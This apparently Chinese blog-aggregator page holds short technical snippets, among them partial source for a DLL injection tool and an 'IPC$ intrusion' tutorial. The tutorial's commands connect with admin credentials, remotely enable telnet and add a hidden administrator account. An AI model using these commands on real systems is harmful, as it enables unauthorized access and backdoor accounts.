dword

TLS 支持1.2 版本

二次信任 提交于 2020-02-10 11:44:10
更新注册表 调整tls支持 1.1 1.2 版本 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols] [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello] [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Client] "Enabled"=dword:00000000 "DisabledByDefault"=dword:00000001 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\Multi-Protocol Unified Hello\Server] "Enabled"

Windows进程/线程创建过程

白昼怎懂夜的黑 提交于 2020-02-10 02:07:52
参考链接: http://www.cnblogs.com/LittleHann/p/3458736.html 创建一个Windows进程,是由操作系统进行3各部分执行组成 1.客户的Windows库的Kernel32.dll 2.Windows执行 3.Windows子系统进程(Csrss.exe) 由于windows是多环境子系统的体系结构,因此,创建一个windows执行体进程对象(其他的子系统也可以使用),与创建一个windows进程的工作是分离的。 也就是说windows在创建进程的过程中有两大类的工作要做: 1.Windows系统加入的语义 2.执行体/内核层对象等的创建 Windows的CreateProcess创建一个进程时所涉及的主要阶段: 1.打开将要在该进程中执行的映像文件(*.exe) 2.创建Windows执行体的进程对象 3.创建初始化线程(栈、执行环境、Windows执行体线程对象) 4.通知Windows子系统新线程创建了,所以他可以为新进程和线程做好准备 5.开始执行初始线程 6.在新进程和线程中 完成地址空间的初始化(加载必要的Dll),并开始执行程序 2. 详细分析(CreateProcess) 阶段一:打开将要被执行的映像 如果指定的可执行文件是一个windows.exe类型的文件,那么,它可被直接使用。如果它不是一个windows.exe

dll注入工具

吃可爱长大的小学妹 提交于 2020-02-09 06:45:50
今天因为测试东西,所以写了一个向别进程注入dll的小程序,代码比较简单,方法也很单一,不过有时候搞测试的时候又找不到这样的工具,所以写了一个. 使用方法: /p [进程名] /pid [进程id] /d [要注入的dll] /w [等待时间] /p 和/pid 后面可以同时跟多个参数,用,连接,例如 /p notepad.exe,explorer.exe /pid 1232,1345 /p 和 /pid 不要同时使用,不然最前面的不能被注入 下载 同时贴出源代码: #include <Windows.h> #include <tlhelp32.h> #include <stdio.h> DWORD* FindTarget( LPCTSTR lpszProcess ) { char* pSzcmd = new char [strlen(lpszProcess)+1]; strcpy(pSzcmd,lpszProcess); char* pszcmdbak = pSzcmd; char* pvlist[100]; int b = 0; pvlist[0] = 0; for (int i=0;pSzcmd[i] != 0;i++) { if (pSzcmd[i] == 0x2C) { pSzcmd[i] = 0; pvlist[b] = pSzcmd; b++; pSzcmd =

Delphi 获取Https网页内容的另外一种方法

ⅰ亾dé卋堺 提交于 2020-02-07 01:22:47
Delphi 获取Https网页内容的另外一种方法,一般我们都是用indy获取,下面这个代码不是用indy获取 function GetWebPage(const Url: string): string; var Session, HttpFile: HINTERNET; szSizeBuffer: Pointer; dwLengthSizeBuffer: DWord; dwReserved: DWord; dwFileSize: DWord; dwBytesRead: DWord; Contents: PChar; begin Session := InternetOpen('', 0, niL, niL, 0); HttpFile := InternetOpenUrl(Session, PChar(Url), niL, 0, 0, 0); dwLengthSizeBuffer := 1024; HttpQueryInfo(HttpFile, 5, szSizeBuffer, dwLengthSizeBuffer, dwReserved); GetMem(Contents, dwFileSize); InternetReadFile(HttpFile, Contents, dwFileSize, dwBytesRead); InternetCloseHandle

怎样手工解决广州大学华软学院病毒(读软驱)

纵饮孤独 提交于 2020-02-06 18:25:13
如果你中了广州大学华软学院一学生编的病毒,你的光驱会嘟嘟响,该病毒的技术含量不高,但给很多人带来麻烦,而且传播性教强,下面接受手工解决的办法,因为目前杀毒软件不认为病毒 1,按ctrl+alt+delete开启任务管理器结束以下进程,rund1123.exe,conime.exe,结束以自己当前用户名(非SYSTEM和Local Servicce等)启动的svchost.exe进程,当你听到软驱驱不响后,证明你已经搞定这一步了 2.别急还没完全搞定,打开我的电脑,这时任何盘都不要去动,因为你一旦进入任何一个盘都会再次引发病毒,打开菜单栏上的工具>>文件夹选项>>把隐藏系统文件的√去掉,并选择显示所以文件夹和文件 3.点击开始>>搜索,输入svchost.exe 把高级选项扩展开加上创建时间的约束(自己估计中毒时间)和把搜索隐藏文件响也打勾√,然后按搜索开始,这时会把很多东西搜索出来,但我们只需要删除各个盘根目录下的svchost.exe 就行了,如C:\svchost.exe 同理的,也要把C:\autorun.inf和隐藏的Dll(如果有的话)也搜索出来删除了 最好是按shift键+delect完全删除 4.点击开始>>运行,输入msconfig,打开启动选项卡,把里面所有的√去掉除非你认识的,搞定后按确定 5、重新启动计算机 6、注意你的U盘或移动存储设备应该也中毒

汇编OFFSET:返回数据标号和偏移量

核能气质少年 提交于 2020-02-05 01:24:17
OFFSET 运算符返回数据标号的偏移量。这个偏移量按字节计算,表示的是该数据标号距离数据段起始地址的距离。如下图所示为数据段内名为 myByte 的变量。 OFFSET 示例 在下面的例子中,将用到如下三种类型的变量: .data bVal BYTE ? wVal WORD ? dVal DWORD ? dVal2 DWORD ? 假设 bVal 在偏移量为 0040 4000(十六进制)的位置,则 OFFSET 运算符返回值如下: mov esi,OFFSET bVal ; ESI = 00404000h mov esi,OFFSET wVal ; ESI = 00404001h mov esi,OFFSET dVal ; ESI = 00404003h mov esi,OFFSET dVal2 ; ESI = 00404007h OFFSET 也可以应用于直接 - 偏移量操作数。设 myArray 包含 5 个 16 位的字。下面的 MOV 指令首先得到 myArray 的偏移量,然后加 4,再将形成的结果地址直接传送给 ESI。因此,现在可以说 ESI 指向数组中的第 3 个整数。 .data myArray WORD 1,2,3,4,5 .code mov esi,OFFSET myArray 4 还可以用一个变量的偏移量来初始化另一个双字变量,从而有效地创建一个指针

禁用Windows Defender Antivirus Service

本秂侑毒 提交于 2020-02-03 01:39:42
1.使用Windows键+ R键盘快捷键打开运行命令。 2.键入regedit.exe,然后单击确定以打开注册表。 3.浏览以下路径: HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows Defender 4.右键单击Windows Defender(文件夹)键,选择新建,然后单击DWORD(32位)值。 5.将密钥命名为DisableAntiSpyware,然后按Enter键。 6.双击新创建的键并将值设置为1。 7.点击OK。 8.右键单击Windows Defender(文件夹)键,选择New,然后单击Key。 9.命名为Real-Time Protection,然后按Enter键。 10.用鼠标右键单击Real-Time Protection(文件夹)键,选择新建,然后单击DWORD(32位)值。 11.将该键命名为DisableBehaviorMonitoring,然后按Enter键。 12.双击新创建的键并将值设置为1。 13.用鼠标右键单击Real-Time Protection(文件夹)键,选择新建,然后单击DWORD(32位)值。 14.将密钥命名为DisableOnAccessProtection,然后按Enter键。 15.双击新创建的键并将值设置为1。 16.点击OK。 17.用鼠标右键单击Real

使用WindowsAPI获取录音音频

给你一囗甜甜゛ 提交于 2020-01-30 03:07:26
本文实例介绍了使用winmm.h进行音频流的获取的方法,具体步骤如下: 一、首先需要包含以下引用对象 ? 1 2 3 #include <Windows.h> #include "mmsystem.h" #pragma comment(lib, "winmm.lib") 二、音频的获取需要调用7个函数 1. waveInGetNumDevs:返回系统中就绪的波形声音输入设备的数量 ? 1 UINT waveInGetNumDevs( VOID ); 2. waveInGetDevCaps:检查指定波形输入设备的特性 ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 MMRESULT waveInGetDevCaps( UINT_PTR uDeviceID, LPWAVEINCAPS pwic, UINT cbwic ); //uDeviceID 音频输入设备标识,也可以为一个打开的音频输入设备的句柄. // 个人认为如果上一步获得了多个设备,可以用索引标识每一个设备. // //pwic 对WAVEINCAPS结构体的一个指针,包含设备的音频特性. // //cbwic WAVEINCAPS结构体的大小,使用sizeof即可. // //MMRESULT 函数执行的结果 // MMSYSERR_NOERROR 表示执行成功 //

经典IPC$入侵及问题

…衆ロ難τιáo~ 提交于 2020-01-27 14:30:52
IPC$入侵可谓经典中的经典,废话不多说,先列出经典命令,不注释了,都是很简单的命令,看不懂问度娘 http://baike.baidu.com/view/1551623.htm?fromId=528303 当然假设管理员账户名密码已经得到了 net use \\ip\ipc$ "密码" /user:"用户名"  ——密码和用户名如果没有空格也可以不加引号,另外\ipc$也可以不写,如下所示: net use \\ip 密码 /user:用户名 sc \\ip config tlntsvr start= auto  ——注意start=后面有个空格 sc \\ip start tlntsvr telnet ip input username passwd,thus get remote pc's shell 当然也可以用net time \\ip 配合at指令定时开启telnet或是别的服务 可以添加用户名密码并加为管理员 net user chy$ chy /add net localgroup administrators chy$ /add  ——用户名最后加$是可以防止对方在cmd窗口下输入net user显示自己添加的用户名,当然在计算机管理下的用户还是可以显示出来的,更深层次的创建隐藏的具有管理员权限的用户需要直接对注册表操作,大致思路就是新建一个账号

线程的APC机制

谁都会走 提交于 2020-01-26 22:30:26
当系统创建一个线程的时候,会同时创建一个与线程相关的队列。这个队列被叫做异步过程调用(APC)队列。 为了对线程中的APC队列中的项进行处理,线程必须 将自己设置为可提醒状态,只不过意味着我们的线程在执行的时候已经到达了一个点,在这个点上它能够处理被中断的情况,下边的六个函数能将线程设置为可提醒状态: BOOL SleepEx(); DWORD WaitForSingleObjectEx(); DWORD WaitForMultipleOBjectsEx(); BOOL SingalObjectAndWait(); BOOL GetQueuedCompletionStatusEx(); //这五个函数的最后一个参数是BOOL值,表示是否设置为可提醒状态。 DWORD MsgWaitForMultipleObjectsEx(); //最后一个参数设置为MWMO_ALERTABLE 标志 当我们调用上边的六个函数之一并将线程设置为可提醒状态的时候,系统首先会检查线程的APC队列,如果队列中至少有一项,那么系统就不会让线程进入睡眠状态。系统将会把那一项取出来并让线程执行与之相关的回调函数。当回调函数返回的时候,会再次检查APC队列中是否还有其他项,如果还有就继续处理,如果没有,对于可提醒函数的调用将会返回。这个是在前边APC中有一项的基础上。 但是当在刚调用函数时